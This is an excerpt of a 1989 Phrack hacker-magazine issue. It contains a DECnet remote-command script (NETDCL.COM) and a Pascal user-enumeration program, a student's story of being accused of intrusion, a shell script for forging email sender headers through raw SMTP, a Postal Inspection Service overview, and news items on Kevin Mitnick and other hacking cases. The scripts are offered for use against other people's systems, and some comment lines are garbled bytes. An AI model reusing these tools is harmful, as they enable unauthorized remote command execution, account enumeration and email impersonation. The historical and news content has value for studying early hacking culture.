$ nodespec = p1 - "::"
$ nodename = f$extract(0,f$locate("""",nodespec),nodespec)
$! include the following line for "hard cases"
$! nodespec = nodespec+"""decnet decnet"""
$ ON WARNING THEN CONTINUE
$ CLOSE/ERR=open_server dcl_server
$open_server:
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"/ERROR=open_failure
$ ON WARNING THEN GOTO exit
$flush_output:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND" -
  THEN GOTO send_command
$ WRITE sys$output record
$ GOTO flush_output
$send_command:
$ IF p2 .NES. "" THEN GOTO single_command
$ READ sys$command record /PROMPT="''nodename'> " /END=exit
$ record  := 'record
$ IF record .EQS. "EXIT" THEN GOTO exit
$ WRITE dcl_server record
$ GOTO flush_output
$single_command:
$ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
$ WRITE dcl_server command
$single_flush:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND"-
$ THEN GOTO exit
$ WRITE sys$output record
$ GOTO single_flush
$open_failure:
$ ON WARNING THEN EXIT
$ COPY/LOG Netdcl.Com 'nodespec'::
$ WAIT 0:0:1
```

```
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"
$ ON WARNING THEN GOTO exit
$ GOTO flush_output
$exit:
$ CLOSE dcl_server
$ EXIT
$network:
$ OPEN/READ/WRITE dcl_link sys$net
$ SET NOON
$ dcl_verify = 'f$verify(0)'
$ DEFINE sys$output dcl_link:
$server_loop:
$ WRITE dcl_link "SEND_ME_A_COMMAND"
$ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit
$ 'dcl_string'
$  GOTO server_loop
$server_exit:
$ IF dcl_verify THEN set verify
$ CLOSE dcl_link
$ DEASSIGN sys$output
$ EXIT
-----------------------

APPENDIX B

ALLUSER.PAS - Show all registered users
-----------------------
{
* alluser.pas - get names of all users
* by Deep, 1989
* This program is freely redistributable as long no modifications are made
* DISCLAIMER: I take no responsibility for any use or abuse of this
*             program.  It is given for informational purpose only.
*
* program history:
* 04-May-89   started
* 02-Jun-89   clean up of code
}
[inherit ('sys$library:starlet.pen')]
program alluser(input,output);

   type $word      = [word] 0..65535;
        $byte      = [byte] 0..255;
        $quadword  = record
                         lo,hi : unsigned;
                      end;
        $uquad  = record
                         lo,hi : unsigned;
                      end;
var
  id: unsigned;
  status, status2: integer;
  length: $WORD;
  attrib,context,context2,context3: unsigned;
  ident, ident2: unsigned;
  name: varying [512] of char;
  holder: $uquad;

begin

writeln('Alluser - use at your own risk!');
```

```
status := SS$_NORMAL;
{ id = -1 selects next identifier }
id := -1;
context := 0;
while (status <> SS$_NOSUCHID) do
    begin
    { find next identifier }
    status := $idtoasc(id,name.length,name.body,ident,attrib,context);
    if (status <> SS$_NOSUCHID) then begin
        write(pad(name,' ',16));
        if (ident div (65536*32768) > 0) then
            { it's a rights-list, so print the hex-value of the identifier }
            begin
            writeln(oct(ident,12));
            context2 := 0;
            context3 := 0;
            { find all holders of this right }
            repeat
                holder := zero;
                status2 := $find_holder(ident,holder,attrib,context2);
                if (holder.lo <> 0) then begin
                    ident2 := ident;
                    { get UIC and username }
                    status := $idtoasc(holder.lo,name.length,name.body,ident2
                        ,attrib,context3);
                    write('                  ',pad(name,' ',16));
                    writeln('[',oct(holder.lo div 65536,3),','
                        ,oct(holder.lo mod 65536,3),']');
                    end;
            until (holder.lo = 0);
            end
        else
            { it's a UIC, so translate to [grp,user] }
            begin
            writeln('[',oct(ident div 65536,3),',',oct(ident mod 65536,3),']');
            end;
        end;
    end;
end.
----------------------
```

This article has been brought to you by Deep Thought of West Germany. If you
liked this article, grant me access if I once drop in your BBS!
_____

_

Prologue For None VMS Users
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     DECnet is the network for DEC machines, in most cases you can say VAXes.
DECnet allows you to do: - e-mail
                           - file transfer
                           - remote login
                           - remote command
                           - remote job entry
                           - PHONE
     PHONE is an interactive communication between users and is equal to TALK
on UNIX or a "deluxe"-CHAT on VM/CMS.

     BELWUE, the university network of the state Baden-Wuerttemberg in
West Germany contains (besides other networks) a DECnet with about 400 VAXes.
On every VAX there is standard-account called DECNET with pw:= DECNET, which
is
not reachable via remote login. This account is provided for several
DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very
restricted privileges: You cannot edit a file or make another remote login.

     The HELP-menu is equipped by the system and is similar to the MAN command
on UNIX.

     More information on DECnet can be found in "Looking Around In DECnet" by
Deep Thought in this very issue of Phrack Inc.
- -
-

     Here, at the University of Ulm, we have an *incredibly* ignorant computer
center staff, with an even bigger lack of system-literature (besides the 80 kg
of VAX/VMS-manuals). The active may search for information by himself, which
is over the level of "run," "FORTRAN," or "logout." My good luck that I have
other accounts in the BELWUE-DECnet, where more information is offered for the
users. I am a regular student in Ulm and all my accounts are completely legal
and corresponding to the German laws. I don't call myself a "hacker," I feel
more like a "user" (...it's more a defining-problem).

     In the HELP-menu in a host in Tuebingen I found the file netdcl.com and
the corresponding explanation, which sends commands to the DECNET-Account of
other VAXes and executes them there (remote command). The explanation in the
HELP-menu was idiot-proof -- therefore for me, too :-)

     With the command "$ mcr ncp show known nodes" you can obtain a list of
all
netwide active VAXes, as is generally known, and so I pinged all these VAXes
to

look for more information for a knowledge-thirsty user. With "help", "dir"
and
other similar commands I look around on those DECnet accounts, always watching
for topics related to the BELWUE-network. It's a pity, that 2/3 of all VAXes
have locked the DECNET-Account for NETDCL.COM. Their system managers are
probably afraid of unauthorized access, but I cannot imagine how there could
be
such an unauthorized access, because you cannot log on this account -- no
chance for trojan horses, etc.

        Some system managers called me back after I visited their VAX to chat
with
me about the network and asked me if they could help me in any way. One sysop
from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation
system.

        Then, after a month, the H O R R O R came over me in shape of a the
following mail:

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
---
From: TUEBINGEN::SYSTEM   31-MAY-1989 15:31:11.38
To: FRAMSTAG
CC:
Subj: don't make any crap, or you'll be kicked out!

From: ITTGPX::SYSTEM   29-MAY-1989 16:46
To: TUEBINGEN::SYSTEM
Subj: System-breaking-in 01-May-1989

To the system manager of the Computer TUEBINGEN,

On May 1st 1989 we had a System-breaking-in in our DECNET-account, which
started from your machine. By help of our accounting we ascertained your user
FRAMSTAG to have emulated an interactive log-on on our backbone-node and on
every machine of our VAX-cluster with the "trojan horse" NETDCL.COM. Give us
this user's name and address and dear up the occurrence completely. We point
out that the user is punishable. In case of repetition we would be forced to
take corresponding measures. We will check whether our system got injured.
If
not, this time we will disregard any measure. Inform us via DECnet about your
investigation results -- we are attainable by the nodenumber 1084::system

Dipl.-Ing. Michael Hager
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
---

        My system manager threatened me with the deleting of my account, if I
would not immediately enlighten the affair. *Gulp*!
        I was conscious about my innocence, but how to tell it to the others? I
explained, step by step, everything to my system manager. He then understood
after a while, but the criminal procedure still hovered over me... so, I took
quickly to my keyboard, to compose file of explanations and to send it to that
angry system manager in Stuttgart (node 1084 is an institute there). But no
way out: He had run out of disk quota and my explanation-mail sailed into the
nirwana:

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
---
$ mail explanation
  To: 1084::system

```
%MAIL-E, error sending to user SYSTEM at 1084
%MAIL-E-OPENOUT, error opening SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI;
as output
-RMS-E-CRE, ACP file create failed
-SYSTEM-F-EXDISKQUOTA, disk quota exceeded
```

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
---

       Also the attempt of a connection with the PHONE-facilty failed: In his
borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with
the REAL-addresses of the virtual DECnet-addresses available (to prevent
hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no
chance to vindicate myself. I poured out my troubles to an acquaintance of
mine, who is a sysop in the computer-center in Freiburg. He asked other
sysops
and managers thru the whole BELWUE-network until someone gave him a telephone
number after a few days -- and that was the right one!

       I phoned to this Hager and told him what I had done with his
DECnet-account and also what NOT. I wanted to know which crime I had
committed. He promptly cancelled all of his reproaches, but he did not excuse
his defamous incriminations. I entreated him to inform my system manager in
Tuebingen that I have done nothing illegal and to stop him from erasing my
account. This happens already to a fellow student of mine (in this case,
Hager
was also guilty). He promised me that he would officially cancel his
reproaches.

       After over a week this doesn't happen (I'm allowed to use my account
further on). In return for it, I received a new mail from Hager on another
account of mine:

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
---
From: 1084::HAGER   1-JUN-1989 12:51
To: 50180::STUD_11
Subj: System-breaking-in

On June 1st 1989 you have committed a system-breaking-in on at least one of
our
VAXes. We were able to register this occurrence. We would be forced to take
further measure if you did not dear up the occurrence completely until June
6th.

Of course the expenses involved would be imposed on you. Hence enlightenment
must be in your own interest.

We are attainable via DECnet-mail with the address 1084::HAGER or via
following
address:

Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
Dipl.-Ing. M. Hager   Tel.: 0711/685-6109
Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
Pfaffenwaldring 9/10-1
7000 Stuttgart-80

 M. Hager
 M. Mrzyglod
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
---

This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not
answered to this mail. I AM SICK OF IT!

                              Framstag
                       (FRAMSTAG@DTUPEV5A.BITNET)

           With Special Thanks For Translation Assistance To Schrulli B.
_____
       _

```
                            ==Phrack Inc.==

                  Volume Three, Issue 27, File 8 of 12

          <><><><><><><><><><><><><><><><><><><><><><><><><><><>
          <><><><>                                      <><><><>
          <><><>          Sending Fake Mail In Unix        <><><>
          <><>                                              <><>
          <>                  by Dark OverLord                <>
          <><>                                              <><>
          <><><>              May 26, 1989                  <><><>
          <><><><>                                      <><><><>
          <><><><><><><><><><><><><><><><><><><><><><><><><><><>
```

Here is a shell script that can be use to send fakemail from any Unix system.
Have fun and stay out of trouble.

-Dark Overlord

```
        -=-=-=-=-=-=-=-=-=-=  Cut here -=-=-=-=-=-=-=-=-=-=-=
! /bin/sh
#Mfakemail - A shell script to send fakemail.
#M##M#M et up the path.
PATH=/usr/ucb:/bin:$HOME/Bin
#M arse the command line
case $ in
0)echo "USAGE: user@host [ from@somewhere ] [ mailer_host ]" >& 2
exit 1
;;
1)mailto=$1
from="person@campus"
mailerhost=localhost
;;
2)mailto=$1
from=$2
mailerhost=localhost
;;
3)mailto=$1
from=$2
mailerhost=$3
;;
*)echo "USAGE: user@host [ from@somewhere ] [ mailer_host" >& 2
exit 1
;;
esac
#M7&V FR    †V FW" f÷" 6VæFÖ −À
cat <<E!O!F!> /tmp/cli$$
helo $mailerhost
mail from:$from<$from>
rcpt to: $mailto <$mailto>
data
From: $from
To: $mailto
Subject:
Status: RO


E!O!F!
#MVF—B F†R Ö −ÆW
```

```
vi /tmp/cli$$
#M FB   VæF-ær f÷" F†R Ö -ÆW
cat <<E!O!F!>> /tmp/cli$$
.
quit
E!O!F!
#M6öææV7B Fò F†R &VÖ÷FR †÷7Bw2 6VæFÖ -Â F VÖöà
telnet $mailerhost smtp < /tmp/cli$$
#M6ÆV â W  F-ÖP
/bin/rm -f /tmp/cli$$
```

_

```
        +======================================+

                The Postal Inspection Service

          (C) UNITED STATES POSTAL SERVICE (U.S. MAIL)

                      Brought to you by

                         Vendetta

                       May 10, 1989

        +======================================+
```

Protecting The U.S. Mails
~~~~~~~~~~~~~~~~~~~~~~~~~~
The protection of the U.S. Mail and the mail system is the responsibility of
the Postal Inspection Service. As the law enforcement and audit arm of the
U.S. Postal Service, the Inspection Service is a highly specialized,
professional organization performing investigative, law enforcement, and audit
functions essential to a stable and sound postal system.

As our country's oldest federal law enforcement agency, the Inspection Service
has jurisdiction in all criminal matters infringing on the integrity and
security of the mail, and the safety of all postal valuables, property, and
personnel.

Since the beginning of a postal system in this country, criminal and
administrative problems of the Postal Service have been interwoven. By
detecting and investigating crimes against the mail and postal revenue,
establishing safe and efficient postal systems, protecting all postal
properties, assuring that the postal system is not criminally misused to the
detriment of the public, the Inspection Service plays an integral part in
maintaining effective operations in the Postal Service.

The agency's activities make a vital contribution to the protection of the
nation's economy. Security and enforcement functions of the Inspection
Service
provide assurance to American business for the safe exchange of funds and
securities through the U.S. Mail, and to postal customers of the sanctity of
the seal in transmitting correspondence and messages to all parts of the
world.
Audits ensure stability to financial operations, help control costs, and
promote increased efficiency in our Postal Service.

Postal Inspectors
~~~~~~~~~~~~~~~~~~
Postal Inspectors are the fact finding and investigative agents of the U.S.
Postal Service. Today nearly two-thirds of their time is spent in
investigating and solving postal related crimes. Possessing statutory power
of
arrest, they apprehend violators of the law and work closely with U.S.
Attorneys in prosecuting cases in court. Their work also includes crime
prevention, the audit of postal operations, investigation of accidents and a

wide variety of other service and audit matters.

The work of a Postal Inspector requires total dedication and a willingness to
work long hours. Investigations of postal crimes which often entail
interstate
or international coordination, and the responsibility to restore mail service
following catastrophes such as floods, fire, and airplane wrecks, are
time-consuming and can be hazardous.

There are approximately 1,900 Postal Inspectors stationed in the United States
and Puerto Rico. All trainees undergo an eleven-week basic training course
involving use of firearms, defensive tactics, legal matters, search and
seizure, arrest techniques, court procedures, postal operations, audit
functions, and a detailed study of the federal laws in which the Inspection
Service has jurisdiction. Classes are conducted at the Inspection Service
training center in Potomac, Maryland.

Refresher courses keep Inspectors informed of current court decisions, laws,
and legal procedures. Additional specialized courses are continually held to
equip the Service with expertly trained personnel.

All applicants for the position of Postal Inspector must successfully complete
the following steps; entry examination; a comprehensive background
investigation including ma medical examination; the candidate assessment
center
review; and all phases of the basic training course.

Inspection Service Activity
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Criminal investigations and postal crime prevention represent
             the greatest portion of Inspection Service activity.

Postal Inspectors investigate violations of all postal laws and other related
criminal violations. Crimes within the purview of postal investigations
include mail fraud, the illegal transmission of controlled substances through
the U.S. Mail, the mailing of child pornography, thefts of mails or postal
valuables, assaults on postal employees, bombs sent through the mails or
directed against postal properties, and the mailing of matter containing
poison, unauthorized concealable firearms, and harmful or prohibited articles.

Five crime laboratories located throughout the country assist Inspectors in
analyzing evidentiary material needed for identifying and tracing criminal
suspects and in providing expert testimony for cases brought to trial.

The objectives of postal crime prevention are to anticipate, identify, and
analyze those areas of greatest crime risk potentially affecting employees,
funds, property, and postal customers. Postal Inspectors then take action to
remove or reduce that risk and maintain the integrity of the Postal Service.

                "The Postal Inspection Service is responsible
                for the internal audit of the Postal Service."

Postal Inspectors provide management with independent audits and
investigations
of all postal activities as a part of the Postal Service's internal control
system.

Audits of installations and systems protect the assets of the Service, improve
its financial management system, assist in the resolution of customer
complaints, investigate matters of Congressional interests, and identify

specific improvements for better customer service and more economical operations.

Financial audits provide an independent check on the adequacy and effectiveness
of control systems; verify the existence of assets and ensure the proper safeguards are maintained. Operations audits are conducted to assist postal management in the operation of an efficient, and reliable Postal Service.

Security Force
~~~~~~~~~~~~~~
Postal Police Officers provide protection to mail, postal valuables, postal employees, facilities, and vehicles of the Postal Service. As part of the law enforcement team, they assist Postal Inspectors in the enforcement of certain postal laws and regulations on postal premises and provide mobile response unites in emergency situations involving the Postal Service.

Equipped with portable radios and alerted by closed circuit television they provide perimeter security to major postal facilities and other buildings operated by the Postal Service. Their presence in postal installations throughout the country is a deterrent to postal crimes and an aid to employee morale.

Postal Police Officers also are used to escort high value mail while in transit
between postal units and at airports.

Experience in military or civil law enforcement, industrial security, or similar occupations is an asset for positions in the Security Force. All appointees undergo a four-week training course conducted at the Inspection Service's training center.

Coordination With Other Agencies
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Inspection Service extends full cooperation to all local and federal investigative and prosecutive authorities in law enforcement matters to ensure greater protection to the public. Postal Inspectors participate in the Department of Justice national strike force teams aimed at curtailing widespread criminal acts of an organized nature. Postal Inspectors also work closely with the External Auditors in providing support to the certification of
the Postal Service's financial statements.

Conviction Rate
~~~~~~~~~~~~~~~~
The Inspection Service maintains a consistently high conviction rate each year of approximately 98% of cases brought to trial, a rate not exceeded by any other federal law enforcement agency.

Jurisdiction, Postal Laws, and Protection
~~~~~~
The Inspection Service exercises investigative jurisdiction over approximately 85 postal-related statues. These can be grouped in two categories: Criminal acts against the mails, postal facilities, or postal personnel; and criminal misuse of the postal system.

MAIL FRAUD

All criminal activity involving use of the U.S. Mail with intent to defraud
comes under the jurisdiction of the Postal Inspection Service. The Mail Fraud
Law is the oldest consumer protection law in the United States and is one of
the most effective prosecutive tool in fighting white collar and organized
crime. Millions of dollars are lost each year through mail fraud which cheats
not only the poor and the elderly, but businessmen and the consumer as well.
Prevalent schemes include insurance, banking, false billings; land and
advance-fee selling swindles; franchise schemes; work-at-home and fraudulent
diploma schemes; charity schemes; promotions of fake health cures, beauty
devices, fast-working diets, and sex stimulants; chain letters, lotteries, and
solicitations for the sale of advertising specialty items.

While Postal Inspectors have no statutory authority to act as intermediaries
in
the settlement of unsatisfactory financial or property transactions conducted
through the mails, their investigations frequently result in the
discontinuance
of fraudulent or borderline operations. Administrative mail-stop orders may
be
issued to prevent continuing public loss while sufficient evidence is being
developed for criminal prosecutive action in the courts, or in cases where
false representations, but not necessarily fraudulent intent, can be proven.
The Inspection Service has a leading role in consumer protection through the
implementation of educational programs designed to prevent mail fraud schemes
from developing, and through its efforts to resolve complaints relating to
consumer/vendor misunderstandings or poor business practices.

ORGANIZED CRIME

Investigations by Postal Inspectors in organized crime matters most frequently
relate to cases involving theft and fencing of large amounts of stamp stock
and
securities by organized post office burglary rings; insurance and investment
frauds; and planned bankruptcies and schemes aimed at looting company assets.
The Organized Crime Control Act of 1970 specifically includes violation of the
Mail Fraud Statue as "racketeering activity." Postal Inspectors are assigned
to the Justice Department Organized Crime Strike Forces which operate at
various
points throughout the country.

MAIL THEFT/BURGLARY/ROBBERY

Investigation of mail theft offenses are a large part of the Inspection
Service's responsibilities and most commonly involve stolen checks, food
coupons, or other negotiable securities. Primary attention is directed at
major gangs, sophisticated fencing operations, large scale thefts, and the
implementation of preventive programs.

Burglaries of post offices range from vandalism to high level burglary rings
and fencing operations involving organized crime activity.

Armed robberies endanger the lives of postal employees and the public and,
therefore, are priority investigations. The targets of these crimes usually
are postal facilities, vehicles transporting mail, and individual employees,
primarily letter carriers.

DRUGS

Illegal trafficking in drugs, narcotics, and other controlled substances
through the mail is investigated in conjunction with other federal and state
law enforcement agencies.

PORNOGRAPHY

The Inspection Service investigates violations of the Postal Obscenity Statue
enacted in 1865 which prohibits the sending of obscene materials through the
U.S. Mail. This includes the investigation of child pornography offenses
involving the sexual abuse of exploitation of children based on laws passed in
1977 and 1984.

BOMBS

Investigations of incidents of threats involving bombs and incendiary devices
sent through the mails or directed at postal properties or functions are
within
the jurisdiction of the Inspection Service.

EXTORTION

The Inspection Service has investigative responsibility in incidents involving
use of the mails to extort money or property by threat of injury to person's
reputation or by accusing a person of a crime.

OTHER PROHIBITED MAILINGS

The mailing of poisons or other harmful matter prohibited by law is
investigated by Postal Inspectors.

Assistance From The Public
~~~~~~~~~~~~~~~~~~~~~~~~~~~
In most cases, the Inspection Service must rely on the watchfulness and
alertness of mail recipients to inform them of possible criminal or harmful
activity involving the use of the mails. Any suspected violations of postal
laws or misuse of the mails should be reported to the local Postmaster for
referral to a Postal Inspector. Prompt action on the part of postal customers
and Postal Inspectors is essential in the interest of crime prevention and
detection.

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            Welcome to Issue XXVII of Phrack World News!

This issue features articles on SouthernNet's hacker scam, the Florida
probation sex incident, bulletin boards in Argentina, fax attacks, computer
security, other hacking occurrences, as well as more articles and new
information about Kevin David Mitnick (aka Condor), Robert Tappan Morris, Karl
Koch (Hagbard Celine, one of Clifford Stoll's "Wily Hackers"), TRW and Social
Security Administration, the National Crime Information (NCIC) "Super
Database," and many other fun stories.

Because of our temporary exile from Bitnet, this will be the last regular
issue
of Phrack World News until next Fall. Next issue expect to see the full
write-up on the details and fun events of SummerCon '89. It is only two days
away as of this writing (it kinda begins on Thursday evening for some of us)
and it looks to be the best SummerCon ever!

A very special thanks goes to Delta Master, Hatchet Molly, and The Mad Hacker
who all assisted with this issue's PWN by submitting articles. Hatchet Molly
will be serving as a collection agent for Phrack Inc. during the summer. Be
sure to forward any news articles to him that seem relevant to PWN and he will
get them to me (eventually). He can be reached on the wide area networks at;

                          (Hatchet Molly)

                       TK0GRM2@NIU.BITNET
                TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU

One other thing to mention here is a special hello to one of our government
readers... Peter Edmond Yee of NASA's Ames Research Center. He had recently
remarked that he "had access to Phrack!" I wonder if he thought that Phrack
Inc. was top secret or hard to get? Still if he wanted it that badly, Taran
King and I thought, "Why not make it easier on him and just send it to his
network address?" We did :-)))

:Knight Lightning

        "The Real Future Is Behind You... And It's Only The Beginning!"
_____

_

Mitnick Plea Bargain Rejected By Judge As Too Lenient   April 25,
1989

~~~~~~
Excerpts from Kim Murphy (Los Angeles Times)

              "Mr. Mitnick, you have been engaging in this conduct
              for too long, and no one has actually punished you.
              This is the last time you are going to do this."

Reportedly U.S. District Judge Mariana Pfaelzer unexpectedly rejected the plea
bargain of Kevin Mitnick, the hacker once called "as dangerous with a keyboard
as a bank robber with a gun." Pfaelzer declared that Mitnick deserves more
time behind bars.

As reported in recent issues of Phrack World News, "Mitnick pleaded guilty to
one count of computer fraud and one count of possessing unauthorized
long-distance telephone codes... Mitnick faces one year in prison. Under a
plea agreement with the government, he must also submit to three years'
supervision by probation officers after his release from prison."

On April 24, 1989 Judge Pfaelzer said, "Mr. Mitnick, you have been engaging in
this conduct for too long, and no one has actually punished you. This is the
last time you are going to do this." She said a confidential pre-sentence
report recommended that she exceed even the 18-month maximum prison term
called
for under mandatory new federal sentencing guidelines. The judge's action
voids Mitnick's guilty plea.

Both prosecuting and defense attorneys were surprised. Mitnick's attorney
said
he did not know whether his client would agree to a guilty plea carrying a
longer prison term. This could make it harder to bring charges against
Mitnick's alleged associates. If Mitnick is brought to trial, testimony from
at least one of his associates would be required to convict him, and they
would
not appear as witnesses without receiving immunity from prosecution.
- -
-

Computer Hacker Working On Another Plea Bargain   May 6,
1989
~~~~~~
Excerpts from the Los Angeles Herald Examiner

Attorneys said yesterday they are negotiating a second plea bargain for
computer hacker Kevin Mitnick, whose first offer to plead guilty was scuttled
by a judge because it called for too little time in prison.

Mitnick, 25, of Panorama City, California offered in March to serve one year
in
prison and to plead guilty to computer fraud and possessing unauthorized
long-distance telephone codes.
- -
-

Mitnick Update   May 10,
1989
~~~~~~~~~~~~~~~
Excerpts taken from the Los Angeles Times

When last we heard about Kevin Mitnick, the hacker once called "as dangerous
with a keyboard as a bank robber with a gun," the judge, Judge Mariana
Pfaelzer, had rejected a plea bargain as too lenient, saying Mitnick deserved

more than the agreed one year of jail time [see above articles].

According to more recent information, Mitnick has now reached a new agreement,
with no agreed-upon prison sentence. He pleaded guilty to stealing a DEC
security program and illegal possession of 16 long-distance telephone codes
belonging to MCI Telecommunications Corp. The two charges carry a maximum of
15 years and a $500,000 fine. The government agreed to lift telephone
restrictions placed on Mitnick since he was jailed in December, 1988.

At DEC's request, Mitnick will help the firm identify and fix holes in its
security software to protect itself from other hackers. He will also
cooperate
in the government's probe of Leonard DiCicco, a fellow hacker. (DiCicco is
the
"friend" who turned Mitnick in.)
- -
-

Kenneth Siani Speaks Out About Kevin Mitnick   May 23,
1989
~~~~~~
Kevin Mitnick, the hacker "so dangerous that he can't even be allowed to use a
phone." "He could ruin your life with his keyboard." "Armed with a keyboard
and considered dangerous."

These are some of the things that have been said about this person. All of
this media hype would be fine if it just sold newspapers. But it has done
much
more then just sell a few papers. It has influenced those that will ultimately
decide his fate. I myself do not know the man, but I have talked to others
that do. Including one of the persons that investigated Mitnick. From all I
have heard about him, I think he is a slime ball! But even a slime ball
should
not be railroaded into a prison sentence that others of equal or greater guilt
have avoided.

I personally feel the man is just a criminal, like the guy that robs a 7/11,
no
better but certainly not any worse. Unfortunately he is thought of as some
kind of a "SUPER HACKER." The head of Los Angeles Police Dept's Computer
Crime
Unit is quoted as saying, "Mitnick is several levels above what you would
characterize as a computer hacker."

No disrespect intended, but a statement like this from the head of a computer
crime unit indicates his ignorance on the ability of hackers and phone
phreaks.
Sure he did things like access and perhaps even altered Police Department
criminal records, credit records at TRW Corp, and Pacific Telephone,
disconnecting phones of people he didn't like etc. But what is not understood
by most people outside of the hack/phreak world is that these things are VERY
EASY TO DO AND ARE DONE ALL THE TIME. In the hack/phreak community such
manipulation of computer and phone systems is all to easy. I see nothing
special about his ability to do this. The only thing special about Kevin
Mitnick is that he is not a "novice" hacker like most of the thirteen year old
kids that get busted for hacking/phreaking. It has been a number of years
since an "advanced" hacker has been arrested. Not since the days of the Inner
Circle gang have law enforcement authorities had to deal with a hacker working
at this level of ability. As a general rule, advanced hackers do not get
caught because of there activity but rather it is almost always others that
turn them in. It is therefore easy to understand why his abilities are

perceived as being extraordinary when in fact they are not.

Because of all the media hype this case has received I'm afraid that:

1.) He will not be treated fairly. He will be judged as a much greater threat
    to society then others that have committed similar crimes.

2.) He will become some kind of folk hero. A Jesse James with a keyboard.
    This will only cause other to follow in his footsteps.

I'm not defending him or the things he has done in any sense. All I'm saying
is let's be fair. Judge the man by the facts, not the headlines.

Disclaimer: The views expressed here are my own.

  Kenneth Siani, Sr. Security Specialist, Information Systems Div., NYMA Inc.
- -
-
If you are looking for other articles about Kevin David Mitnick aka Condor
please refer to;

"Pacific Bell Means Business"   (10/06/88) PWN XXI. . .Part 1
"Dangerous Hacker Is Captured"   (No Date) PWN XXII . .Part 1
"Ex-Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII . .Part 1
"Dangerous Keyboard Artist"   (12/20/88) PWN XXII . .Part 1
"Armed With A Keyboard And Considered Dangerous"(12/28/88) PWN XXIII. .Part 1
"Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII. .Part 1
"Mitnick Plea Bargains"   (03/16/89) PWN XXV. . .Part 1
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Computer Intrusion Network in Detroit   May 25,
1989
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Taken from the San Jose Mercury News (Knight-Ridder News Service)

DETROIT -- Secret Service agents smashed what they described as a costly,
sophisticated computer intrusion network on Wednesday, May 24, and were
surprised to discover it made up largely of teen-agers.

The computer systems of more than 20 companies including the Michigan
Department of Treasury, Home Box Office cable television services, [and RCA]
were infiltrated, according to agents serving search warrants across the
country.

Federal officials said the infiltrations by the network represented fraud of
$200,000 to $1.5 million in appropriated goods, telephone and computer time.

Agents expected to arrest some adults when they swept down on eight people who
allegedly ran the network in several states. Instead, they found only one
adult, in Chicago. The rest were teen-agers as young as 14: Two in Columbus,
Ohio; two in Boston, Massachusetts; two in Sterling Heights, Michigan [The
Outsider and The Untouchable]; and one in Atlanta, Georgia. Agents expected
to
make another arrest in Los Angeles.

Officials said at least 55 other people nationwide made use of the network's
information.

In Sterling Heights, Secret Service agents pulled two eighth-grader boys, both
14, out of school and questioned them in the presence of their parents, who

apparently were unaware of their activities. James Huse, special agent in
charge of the U.S. Secret Service office in Detroit, said the youths admitted
involvement in the scheme.

He said the eight-graders, because they are juveniles, cannot be charged under
federal law and will be dealt with by local juvenile authorities.

Authorities believe the mastermind is Lynn Doucett, 35, of Chicago. She was
arrested Wednesday, May 24, and is cooperating with authorities, Huse said.

Doucett, who was convicted in Canada of telecommunications fraud, supports
herself and two children through her computer intrusion activities, which
include using stolen or counterfeit credit cards for cash advances or money
orders, according to an affidavit filed in U.S. District Court.

If convicted, she faces up to 10 years in prison and a $250,000 fine.

                    Special Thanks to Jedi For Additional Information
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HR 1504 -- Beeper Abuse Prevention Act   May 22,
1989
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                    "Pagers Don't Commit Crimes, Congressmen Do."

The fools in congress assembled are at it again. Three years in jail for
selling a pager to a minor? If you didn't believe when Abbie Hoffman said
that
the drug hysteria was just an excuse for more control of the citizens, think
again.

In USA Today was a "face-off" on the issues. According to this article,
Representative Kweisi Mfume (D-Md) says the following:

      "The drug business is using the latest technology to promote its
      deadly trade. One such advance, the paging device, or beeper, is
      now appearing in classrooms and schoolyards. I have introduced the
      Beeper Abuse Prevention Act to curtail the use of beepers by young
      people who deal drugs. It would require the Federal Communications
      Commission to prescribe regulations that would restrict the
      possession and use of paging devices by persons under age 21.

      Law officers say dealers and suppliers send coded messages via
      beeper to youths in school. The codes translate into messages like
      "meet me at our regular place after class to pick up the drugs."
      Drug traffickers are even using 800 numbers now available with
      regional paging services. A supplier could actually conduct a
      transaction in Baltimore from Miami, for example.

      My bill, H.R. 1504, would require any person selling or renting
      paging devices to verify the identification and age of every
      customer; encourage parents and businesses to take more
      responsibility in their children's or employees' activities; make
      it unlawful for a person to knowingly and willfully rent, sell or
      use paging devices in violation of rules prescribed by the FCC
      (there are provisions for stiff fines and up to three-year prison
      terms for adults who illegally provide beepers to youths); and
      require parents or businesses who allow the use of beepers to state
      that intention with and affidavit at the time of purchase."

He goes on to say that he recognizes that there are legitimate uses of beepers,
but we can no longer stand by and watch drugs flow into our neighborhoods.
The
opposite side is taken by Lynn Scarlett, from Santa Monica, CA. She asks what
beepers have to do with the drug trade, and regulating their use will not put
a
dent it it. She also says that there is little evidence that gun control
keeps
guns out of the hands of gangsters, and it will take a good dose of wizardry
to
keep beepers away from bad guys. She finishes with:

        "The logic of the Beeper Abuse Prevention Act opens the door for
        laws to make us sign promises that we won't, we swear, use these
        things for illicit acts when we buy them. De Tocqueville, that
        eminent observer of our nation, warned that our loss of freedom
        would sneak in through passage of quiet, seemingly innocuous and
        well-intended laws -- laws like H.R. 1504.

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Computer Threat Research Association (UK)   March 31,
1989
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For those of you interested an umbrella organization has been established in
